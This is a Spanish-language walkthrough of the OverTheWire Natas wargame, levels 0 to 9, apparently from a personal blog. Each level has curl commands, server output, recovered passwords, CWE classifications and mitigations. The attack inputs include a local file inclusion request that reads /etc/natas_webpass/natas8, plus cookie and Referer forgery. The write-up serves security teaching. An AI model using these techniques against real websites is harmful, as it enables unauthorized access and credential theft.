😐

[ no0funny ]

Over The Wire - Natas

Resolución de todos los niveles de Natas en Over The Wire

Over The Wire - Natas

Natas Level 0

Natas Level 0

Al abrir el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales proporcionadas.

curl http://natas0.natas.labs.overthewire.org/ --user natas0:natas0

El código fuente del sitio web nos muestra el password para el siguiente nivel.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7 -->
</div>
</body>
</html>
Password natas1

scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7

Vulnerabilidad

Esta vulnerabilidad se puede clasificar como CWE-615 Inclusion of Sensitive Information in Source Code Comments inclusión de información sensible en los comentarios del código fuente

Mitigación
  • Eliminar comentarios orientados a la depuración antes de subir el sitio a un entorno de producción.

Natas Level 0 → Level 1

Natas Level 0 → Level 1

Al abrir el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas1.natas.labs.overthewire.org/ --user natas1:scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas1", "pass": "scfWG6qNEIdzqVyfRwEGXyNUfFZkZeQ7" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is vsDOxoXyq3wckCP1ZmTZ71ngIA606odB -->
</div>
</body>
</html>

Al acceder al sitio web se indica que se puede obtener el password en el sitio pero que el click derecho está bloqueado. Usando curl podemos acceder al código fuente y ver el password para el siguiente nivel.

Password natas2

vsDOxoXyq3wckCP1ZmTZ71ngIA606odB

Vulnerabilidad

Esta vulnerabilidad se puede clasificar como CWE-615 Inclusion of Sensitive Information in Source Code Comments inclusión de información sensible en los comentarios del código fuente

Mitigación
  • Eliminar comentarios orientados a la depuración antes de subir el sitio a un entorno de producción.

Natas Level 1 → Level 2

Natas Level 1 → Level 2

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas2.natas.labs.overthewire.org/ --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "vsDOxoXyq3wckCP1ZmTZ71ngIA606odB" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

El código fuente muestra la ruta files/pixel.png perteneciente a una imagen. Accedemos a la ruta files para ver si se listan más archivos.

curl -L http://natas2.natas.labs.overthewire.org/files --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <head>
  <title>Index of /files</title>
 </head>
 <body>
<h1>Index of /files</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="pixel.png">pixel.png</a></td><td align="right">2026-06-24 14:52  </td><td align="right">303 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2026-06-24 14:52  </td><td align="right">145 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.66 (Ubuntu) Server at natas2.natas.labs.overthewire.org Port 80</address>
</body></html>

Vemos que se lista un archivo users.txt conteniendo usuarios y contraseñas en el que se incluye el password para el próximo nivel.

curl -L http://natas2.natas.labs.overthewire.org/files/users.txt --user natas2:vsDOxoXyq3wckCP1ZmTZ71ngIA606odB
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Password natas3

K30JrSRHzjxq3paUQuwozY4MNvmNFyhI

Vulnerabilidad

Esta vulnerabilidad se puede clasificar como CWE-548 Exposure of Information Through Directory Listing exposición de información a través de listados en directorios

Mitigación
  • Deshabilitar el listado automático de directorios en el servidor web para que devuelva un error (como 403 Forbidden) en lugar de mostrar los archivos.
  • Colocar un archivo vacío llamado index.html o index.php en los directorios públicos para que el servidor cargue esa página en blanco por defecto.
  • Restringir el acceso a carpetas sensibles (/uploads, /images) mediante reglas de firewall o políticas de la aplicación.

Natas Level 2 → Level 3

Natas Level 2 → Level 3

Al intentar visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas3.natas.labs.overthewire.org/ --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas3", "pass": "K30JrSRHzjxq3paUQuwozY4MNvmNFyhI" };</script></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

La web indica que no hay nada en la página y el código fuente que no hay información filtrada y ni con Google vamos a encontrarla esta vez.

El archivo robots.txt funciona como un manual de instrucciones que indica a los bots de los motores de búsqueda qué páginas o carpetas de una web pueden rastrear y cuáles deben ignorar.

Al revisar el archivo robots.txt encontramos un directorio llamado s3cr3t.

curl http://natas3.natas.labs.overthewire.org/robots.txt --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
User-agent: *
Disallow: /s3cr3t/

Al navegar el directorio s3cr3t encontrado listamos su contenido y encontramos un archivo users.txt.

curl http://natas3.natas.labs.overthewire.org/s3cr3t/ --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <head>
  <title>Index of /s3cr3t</title>
 </head>
 <body>
<h1>Index of /s3cr3t</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2026-06-24 14:52  </td><td align="right"> 40 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.66 (Ubuntu) Server at natas3.natas.labs.overthewire.org Port 80</address>
</body></html>

El archivo users.txt contiene el password para el siguiente nivel.

curl http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt --user natas3:K30JrSRHzjxq3paUQuwozY4MNvmNFyhI
natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
Password natas4

JDrPnuZAKyl6MkiqQGFIddrqpvgOASth

Vulnerabilidad

Cuando un archivo robots.txt expone rutas privadas o directorios internos de un sitio web, la vulnerabilidad se puede clasificar como CWE-200 Exposure of Sensitive Information to an Unauthorized Actor exposición de información sensible a un agente no autorizado.

Mitigación
  • Eliminar referencias a endpoints privados.
  • Bloquear todos los bots por defecto y permitir solo rastreadores específicos y necesarios.
  • Utilizar un firewall de aplicaciones web (WAF) o un servicio de gestión de bots como Cloudflare para bloquear o limitar la velocidad de los user agents maliciosos a nivel de red.

Natas Level 3 → Level 4

Natas Level 3 → Level 4

Al navegar al sitio web nos encontramos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas4.natas.labs.overthewire.org/index.php --user natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "JDrPnuZAKyl6MkiqQGFIddrqpvgOASth" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

La web muestra que los usuarios autorizados deben venir solo de http://natas5.natas.labs.overthewire.org/. Para lograr eso modificamos el header referer que indica la URL de la página web previa desde la que el usuario llegó a la página actual o solicitó un recurso.

curl -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org/index.php --user natas4:JDrPnuZAKyl6MkiqQGFIddrqpvgOASth
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "JDrPnuZAKyl6MkiqQGFIddrqpvgOASth" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

Modificando el header referer obtenemos el password para el siguiente nivel.

Password natas5

e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M

Vulnerabilidad

Si el servidor confía ciegamente en el header HTTP (Referer) que el usuario controla por completo se puede producir un Broken Access Control. Esta vulnerabilidad se puede asociar al CWE-293 Using Referer Field for Authentication uso del campo Referer para autenticación.

Mitigación
  • En lugar de verificar de dónde viene el usuario, verifica quién es el usuario y si tiene permiso mediante sesiones seguras en el servidor.

Natas Level 4 → Level 5

Natas Level 4 → Level 5

Al navegar al sitio web nos encontramos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access disallowed. You are not logged in</div>
</body>
</html>

La web indica que el acceso está deshabilitado si no estamos logueados. Verificamos qué headers nos devuelve la respuesta del servidor

curl -I http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
HTTP/1.1 200 OK
Date: Sat, 11 Jul 2026 17:32:14 GMT
Server: Apache/2.4.66 (Ubuntu)
Set-Cookie: loggedin=0
Content-Type: text/html; charset=UTF-8

Vemos que hay una cookie loggedin con un valor de 0. Probamos modificarle el valor a 1 para ver si así el servidor cree que estamos logueados.

curl --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org/index.php --user natas5:e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "e4z2Noy3oqwPJUWzJH0dseN67Cn1sy2M" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access granted. The password for natas6 is 7mhjtShJAcld2NYbKHEadnhEwRn2P8VT</div>
</body>
</html>

Nos logueamos modificando la cookie y obtenemos el password para el siguiente nivel.

Password natas6

7mhjtShJAcld2NYbKHEadnhEwRn2P8VT

Vulnerabilidad

El servidor web asume incorrectamente que cualquier dato enviado por el navegador (en este caso, la cookie loggedin) es seguro y no se alteró. Al no validar la integridad de la cookie ni mantener el estado de la sesión en el lado del servidor, un atacante puede simplemente modificar el valor a 1 para engañar a la aplicación. Esta vulnerabilidad se puede asociar al CWE-565 Reliance on Cookies without Validation and Integrity Checking confianza en cookies sin validación ni verificación de integridad.

Mitigación
  • En lugar de almacenar el estado de autenticación directamente en una cookie legible y modificable por el usuario, se debe utilizar un mecanismo de sesión en el servido.
  • Si por arquitectura no se desea almacenar sesiones en el servidor (arquitectura stateless), se deben utilizar tokens firmados como los JSON Web Tokens (JWT).
  • Para proteger las cookies de sesión contra otros ataques (como robo por XSS o interceptación de tráfico), siempre deben configurarse con las siguientes banderas: Secure, HttpOnly y SameSite=Strict o Lax.

Natas Level 5 → Level 6

Natas Level 5 → Level 6

Al visitar el sitio web vemos que nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas6.natas.labs.overthewire.org/ --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "7mhjtShJAcld2NYbKHEadnhEwRn2P8VT" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">


<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

En la web nos indica que tenemos que ingresar un secret y nos proporciona un link al código fuente. Visitamos el link proporcionado y nos encontramos el código del backend que incluye un archivo includes/secret.inc.

http://natas6.natas.labs.overthewire.org/index-source.html

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Visitamos la ruta del archivo includes/secret.inc y nos encontramos con el secreto que se requiere.

curl http://natas6.natas.labs.overthewire.org/includes/secret.inc --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Enviamos el secret en el form y obtenemos el password para el siguiente nivel.

curl -X POST http://natas6.natas.labs.overthewire.org/ --user natas6:7mhjtShJAcld2NYbKHEadnhEwRn2P8VT -d 
"secret=FOEIUWGHFEEUHOFUOIU" -d "submit=Submit Query"
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "7mhjtShJAcld2NYbKHEadnhEwRn2P8VT" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">

Access granted. The password for natas7 is B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Password natas7

B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0

Vulnerabilidad

Se trata de una vulnerabilidad de Information Disclosure (exposición de datos sensibles) debido a la presencia de un archivo de configuración (secret.inc) dentro del Web Root (directorio público del servidor). Como el servidor web no está configurado para realizar el server-side parsing de archivos con extensión .inc, los sirve como texto plano, lo que permite a un atacante realizar un source code disclosure y leer credenciales críticas directamente a través de una petición HTTP. Esta vulnerabilidad se puede asociar con CWE-552 Files or Directories Accessible to External Parties el servidor web permite el acceso directo a recursos que deberían ser privados, CWE-538 Insertion of Sensitive Information into Externally-Accessible File guardar credenciales o secretos en un archivo accesible desde el exterior y CWE-200 Exposure of Sensitive Information to an Unauthorized Actor revelar información confidencial a actores no autorizados.

Mitigación
  • Almacenar todos los inclusion files y archivos de configuración en un directorio superior no accesible vía URL.
  • Cambiar la extensión de .inc a .php. De esta forma, si alguien intenta acceder directamente, el código se ejecutará en el servidor y mostrará una página en blanco en lugar de revelar el código fuente.
  • Configurar el servidor web (usando reglas en .htaccess para Apache o bloques location en Nginx) para denegar explícitamente el acceso HTTP a directorios de soporte como includes/.

Natas Level 6 → Level 7

Natas Level 6 → Level 7

Al navegar al sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas7.natas.labs.overthewire.org/ --user natas7:B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>

La web muestra dos links, uno a home y otro a about, ambos se crean con la base http://natas7.natas.labs.overthewire.org/index.php?page=. También muestra un comentario como pista de donde se encuentra el password para el siguiente nivel. En vez de ingresar home o about al parámetro page, probamos ingresando la ruta donde se guarda el password del siguiente nivel y lo obtenemos.

curl http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 --user natas7:B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas7", "pass": "B1szg95UcTnrzwnF3i3TzYHlyYh8iBV0" };</script></head>
<body>
<h1>natas7</h1>
<div id="content">

<a href="index.php?page=home">Home</a>
<a href="index.php?page=about">About</a>
<br>
<br>
ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
Password natas8

ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc

Vulnerabilidad

Se trata de un fallo de Local File Inclusion (LFI) (inclusión de archivos locales). La aplicación web toma el valor del parámetro page provisto por el usuario y lo pasa directamente a una función de lectura o inclusión de archivos (como include() o require() en PHP) sin realizar ningún tipo de input validation o sanitization. Esto permite a un atacante abusar del flujo para realizar un directory traversal o cargar directamente archivos arbitrarios del sistema de archivos local (como /etc/natas_webpass/natas8).

Mitigación
  • Validar el parámetro contra una lista estricta de valores permitidos en el código (por ejemplo, si page no es exactamente “home” o “about”, se rechaza la petición).
  • No pasar parámetros de la query directamente a funciones del sistema de archivos. Es mejor asociar cada página a un ID interno o índice numérico seguro.
  • Utilizar funciones de sanitización que limpien y extraigan solo el nombre del archivo (como basename() en PHP) para prevenir el uso de rutas absolutas o el uso de secuencias de retroceso de directorio como ../.

Natas Level 7 → Level 8

Natas Level 7 → Level 8

Al navegar al sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl -X POST http://natas8.natas.labs.overthewire.org/ --user natas8:ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">


<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

El sitio web muestra un formulario que pide ingresar un secret y proporciona un link al código fuente. El código fuente muestra como se ofusca el secret. Tenemos que hacer el método inverso para obtener el secret y enviarlo en el formulario.

http://natas8.natas.labs.overthewire.org/index-source.html

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

Desde la terminal con PHP podemos hacer el método inverso al que se realiza en la función encodeSecret y obtenemos el secret.

php -r 'echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))) . "\n";'
oubWYf2kBq

Enviamos el secret en el formulario.

curl -X POST http://natas8.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 --user 
natas8:ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc -d 'secret=oubWYf2kBq' -d 'submit=Submit Query'
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "ugXL95KQmUAJJj6bMezOlBNDyI9Imwkc" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

Access granted. The password for natas9 is UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9
<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Obtenemos el password para el próximo nivel.

Password natas9

UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9

Vulnerabilidad

Se trata de un fallo de Security through Obscurity (seguridad a través de la oscuridad) y el uso de Symmetric Cryptography/Encoding reversible en el lado del cliente. El desarrollador intentó proteger un secreto utilizando funciones de encoding y manipulación de strings (base64_encode, strrev, bin2hex) en lugar de emplear un algoritmo de hashing criptográfico unidireccional seguro (como SHA-256 o bcrypt). Al ser un proceso completamente reversible, cualquier atacante con acceso al código fuente puede realizar la ingeniería inversa del algoritmo para revelar el secreto original.

Mitigación
  • Para validar secretos o contraseñas, nunca se deben usar métodos reversibles. El secreto debe guardarse en el servidor como un hash seguro (por ejemplo, utilizando password_hash() en PHP con bcrypt o Argon2). La validación se hace comparando los hashes mediante password_verify().
  • No almacenar credenciales o secretos directamente (hardcoded) en el código de la aplicación. Estos deben guardarse de forma segura en variables de entorno o archivos de configuración protegidos fuera del alcance de los usuarios finales.

Natas Level 8 → Level 9

Natas Level 8 → Level 9

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl 'http://natas9.natas.labs.overthewire.org/?needle=&submit=Search' --user natas9:UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

